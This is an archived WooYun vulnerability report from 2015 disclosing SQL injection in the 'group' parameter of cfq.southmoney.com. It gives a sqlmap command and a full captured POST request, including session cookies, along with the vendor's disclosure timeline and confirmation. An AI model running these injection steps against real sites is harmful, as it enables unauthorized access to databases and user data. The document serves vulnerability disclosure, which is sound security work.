乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-21: 细节已通知厂商并且等待厂商处理中 2015-10-22: 厂商已经确认,细节仅向厂商公开 2015-11-01: 细节向核心白帽子及相关领域专家公开 2015-11-11: 细节向普通白帽子公开 2015-11-21: 细节向实习白帽子公开 2015-12-06: 细节向公众公开
sql注入
1.http://cfq.southmoney.com 漏洞网站2.随便注册个帐号进入,在查找新群里注入
3.sqlmap注入
python.exe sqlmap\sqlmap.py -r 1.txt -p group --dbs --random-agent -v 3
1.txt
POST /SouthMoney/Document_KB.aspx HTTP/1.1Host: cfq.southmoney.comUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=utf-8Referer: http://cfq.southmoney.com/SouthMoney/Document_KB.aspxContent-Length: 1005Cookie: safedog-flow-item=94A4BE844B1C5CE3BE257083802FBCB3; ASP.NET_SessionId=klryfkkumallk4amnre5bxkv; CNZZDATA1256164991=1323283239-1445391935-null%7C1445391935; userid=35ab7ab6-3bbe-4331-9084-5efb5ff3160aConnection: keep-alivePragma: no-cacheCache-Control: no-cache__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=hqyKYLNugmhFZUjKBae5VeuyEFxD2Pj%2FeMlsnDeSpCgSC%2BsD1EOzKeN6Tnfv%2BqjAEDLhjC8qkd%2BOonbYZ%2B3sjaiL9wTLw3ynmiDeLGGGd2m2QFtHaMEZd6xmShWYKW0W6RkuUKwA%2F5s1XpDueo%2FbvYttmz5jeCO%2BEEmooEGUiW02wF2XzAZb%2FwAYswnrAlkjoVhDIGZbqUun56bDcyPaTEqV2A6fYUEeNlGdK6YQ6RhYhYsVlFAAkCXSbozuymb3c5UmwI4AI3iul3qjVn3u8F4X69t3imBeprz961RgxALCWOhlV1jQ3tb0oqEU7iJGfMon9SsnI26qWCHLRqTmWMMTJiOqYEVDup8pTOxC3uevRtYpGLoZvqEXy%2F%2F6d1SyOi2QsMvhHQjcfvvK87y4vbg1h0h%2BOv7Lfz62eB25mJYPEve51qeAnkN1rK82TQbp&__VIEWSTATEGENERATOR=CE0FEA6F&flag=2&thisgroupid=&group=123&rp2%24FileView=0%3B1&tb_NewDepName=&tb_note=&DXScript=1_42%2C1_75%2C1_45&__CALLBACKID=rp2%24FileView&__CALLBACKPARAM=c2%3Acundefined&__EVENTVALIDATION=q0lMvoevOxUhDPPc4Qjua3MLyu3hEXHXcAec3c%2BVEDGTw9iW87JDmyvNTQ4cXX74j9C%2FtoiRKEJSTkbPQj9K%2FP1xVKdburdfAfRWIx0HPCM2GbtsrBJNNtpM9s%2ByimffpNIyU4rqTfaFiMLk98RS2tXIUJ%2B%2FLSoJR72jFi1oo9PEJiBz9KE1vJVK%2Ba%2Baiiv%2BT4RdLVT05%2FCwq5bppTqdXHHuaXzCol8LN0NgDNH3jqW1NBKYbkpv2HpeWBNXk8eO
4.
1.注入过滤
危害等级:中
漏洞Rank:5
确认时间:2015-10-22 20:00
谢谢
暂无